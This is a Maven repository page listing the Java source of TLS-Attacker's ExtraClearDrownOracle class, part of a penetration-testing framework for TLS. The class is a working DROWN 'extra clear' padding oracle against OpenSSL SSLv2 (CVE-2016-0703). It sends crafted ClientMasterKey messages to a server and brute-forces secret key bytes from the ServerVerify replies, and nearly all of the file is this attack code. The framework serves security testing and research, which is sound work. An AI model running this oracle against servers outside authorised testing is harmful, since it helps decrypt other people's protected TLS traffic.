All Downloads are FREE. Search and download functionalities are using the official Maven repository.

de.rub.nds.tlsattacker.attacks.pkcs1.oracles.ExtraClearDrownOracle Maven / Gradle / Ivy

/**
 * TLS-Attacker - A Modular Penetration Testing Framework for TLS
 *
 * Copyright 2014-2021 Ruhr University Bochum, Paderborn University, Hackmanit GmbH
 *
 * Licensed under Apache License, Version 2.0
 * http://www.apache.org/licenses/LICENSE-2.0.txt
 */

package de.rub.nds.tlsattacker.attacks.pkcs1.oracles;

import de.rub.nds.modifiablevariable.bytearray.ByteArrayModificationFactory;
import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
import de.rub.nds.tlsattacker.attacks.exception.AttackFailedException;
import de.rub.nds.tlsattacker.attacks.impl.drown.ServerVerifyChecker;
import de.rub.nds.tlsattacker.attacks.pkcs1.OracleException;
import de.rub.nds.tlsattacker.core.config.Config;
import de.rub.nds.tlsattacker.core.constants.HandshakeMessageType;
import de.rub.nds.tlsattacker.core.constants.RunningModeType;
import de.rub.nds.tlsattacker.core.constants.SSL2CipherSuite;
import de.rub.nds.tlsattacker.core.protocol.message.SSL2ClientMasterKeyMessage;
import de.rub.nds.tlsattacker.core.protocol.message.SSL2ServerVerifyMessage;
import de.rub.nds.tlsattacker.core.state.State;
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutor;
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutorFactory;
import de.rub.nds.tlsattacker.core.workflow.WorkflowTrace;
import de.rub.nds.tlsattacker.core.workflow.WorkflowTraceUtil;
import de.rub.nds.tlsattacker.core.workflow.action.ReceiveAction;
import de.rub.nds.tlsattacker.core.workflow.action.SendAction;
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowConfigurationFactory;
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowTraceType;
import java.util.Arrays;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class ExtraClearDrownOracle extends Pkcs1Oracle {

    private static final Logger LOGGER = LogManager.getLogger();

    private final Config tlsConfig;
    private final SSL2CipherSuite cipherSuite;

    /**
     * Container class for the results of connect().
     */
    private class ConnectionResult {
        public SSL2ServerVerifyMessage serverVerifyMessage;
        public State state;
    }

    public ExtraClearDrownOracle(Config tlsConfig) {
        this.tlsConfig = tlsConfig;
        cipherSuite = tlsConfig.getDefaultSSL2CipherSuite();

        blockSize = cipherSuite.getBlockSize();
        oracleType = OracleType.DROWN_EXTRA_CLEAR;
    }

    /**
     * Checks if the given message is accepted as valid ENCRYPTED-KEY-DATA of a Client Master Key message in an SSLv2
     * handshake. This is based on the "extra clear" oracle vulnerability in OpenSSL (CVE-2016-0703).
     *
     * @param  msg
     *             Potential RSA ciphertext to be checked
     * @return     True if the message was accepted, i.e. it is PKCS conforming
     */
    @Override
    public boolean checkPKCSConformity(byte[] msg) throws OracleException {
        // Overwrite the full key with clear-text null bytes, as described in
        // the DROWN paper
        int clearKeyLength = cipherSuite.getClearKeyByteNumber() + cipherSuite.getSecretKeyByteNumber();
        ConnectionResult conResult = connect(msg, clearKeyLength);

        numberOfQueries++;
        if (numberOfQueries % 1000 == 0) {
            LOGGER.info("Number of queries so far: {}", numberOfQueries);
        }

        if (conResult.serverVerifyMessage != null
            && ServerVerifyChecker.check(conResult.serverVerifyMessage, conResult.state.getTlsContext(), true)) {
            return true;
        }

        return false;
    }

    /**
     * Figures out one additional byte of a SECRET-KEY-DATA by brute-forcing through all possible values. This is
     * relevant for figuring out the actual plaintext value of ENCRYPTED-KEY-DATA after finding a conformant ciphertext
     * in an "extra clear" oracle DROWN attack. See section 5.1 of the DROWN paper for the general idea.
     *
     * @param  ciphertext
     *                        An RSA ciphertext representing valid ENCRYPTED-KEY-DATA
     * @param  knownPlaintext
     *                        The already known portion of SECRET-KEY-DATA, i.e. the plaintext corresponding to
     *                        `ciphertext`
     * @return                An additional byte of SECRET-KEY-DATA to be appended to `knownPlaintext`
     */
    public byte bruteForceKeyByte(byte[] ciphertext, byte[] knownPlaintext) {
        int pos = knownPlaintext.length;
        int clearKeyLength = cipherSuite.getClearKeyByteNumber() + cipherSuite.getSecretKeyByteNumber() - pos - 1;

        ConnectionResult conResult = null;
        // For unclear reasons, some connections randomly (very rarely) fail
        // with a Server-Verify message of null
        for (int i = 0; i < 5; i++) {
            conResult = connect(ciphertext, clearKeyLength);
            if (conResult.serverVerifyMessage == null) {
                LOGGER.warn("Invalid Server-Verify message when brute-forcing a key byte");
            } else {
                break;
            }
        }
        if (conResult.serverVerifyMessage == null) {
            throw new AttackFailedException("Too many invalid Server-Verify messages when brute-forcing a key byte");
        }

        byte[] keyCandidate = Arrays.copyOf(knownPlaintext, cipherSuite.getSecretKeyByteNumber());
        // Use ints for iteration because otherwise the loop condition will be
        // affected by wrap-arounds
        for (int b = -128; b < 128; b++) {
            keyCandidate[pos] = (byte) b;
            // ServerVerifyChecker will read the (symmetric) key from the TLS
            // context
            conResult.state.getTlsContext().setPreMasterSecret(keyCandidate);

            if (ServerVerifyChecker.check(conResult.serverVerifyMessage, conResult.state.getTlsContext(), true)) {
                return (byte) b;
            }
        }

        throw new AttackFailedException("Could not find key byte through brute-force");
    }

    private ConnectionResult connect(byte[] encryptedKey, int clearKeyLength) {
        ConnectionResult result = new ConnectionResult();
        SSL2ClientMasterKeyMessage clientMasterKeyMessage = new SSL2ClientMasterKeyMessage();

        byte[] clearKey = new byte[clearKeyLength];
        ModifiableByteArray clearKeyData = new ModifiableByteArray();
        clearKeyData.setModification(ByteArrayModificationFactory.explicitValue(clearKey));
        clientMasterKeyMessage.setClearKeyData(clearKeyData);

        // Use the target message as encrypted key data
        ModifiableByteArray encryptedKeyData = new ModifiableByteArray();
        encryptedKeyData.setModification(ByteArrayModificationFactory.explicitValue(encryptedKey));
        clientMasterKeyMessage.setEncryptedKeyData(encryptedKeyData);

        WorkflowTrace trace = new WorkflowConfigurationFactory(tlsConfig)
            .createWorkflowTrace(WorkflowTraceType.SSL2_HELLO, RunningModeType.CLIENT);
        trace.addTlsAction(new SendAction(clientMasterKeyMessage));
        trace.addTlsAction(new ReceiveAction(new SSL2ServerVerifyMessage()));
        result.state = new State(tlsConfig, trace);

        WorkflowExecutor workflowExecutor =
            WorkflowExecutorFactory.createWorkflowExecutor(tlsConfig.getWorkflowExecutorType(), result.state);
        workflowExecutor.executeWorkflow();
        result.serverVerifyMessage = (SSL2ServerVerifyMessage) WorkflowTraceUtil
            .getFirstReceivedMessage(HandshakeMessageType.SSL2_SERVER_VERIFY, trace);

        return result;
    }

}




© 2015 - 2024 Weber Informatics LLC | Privacy Policy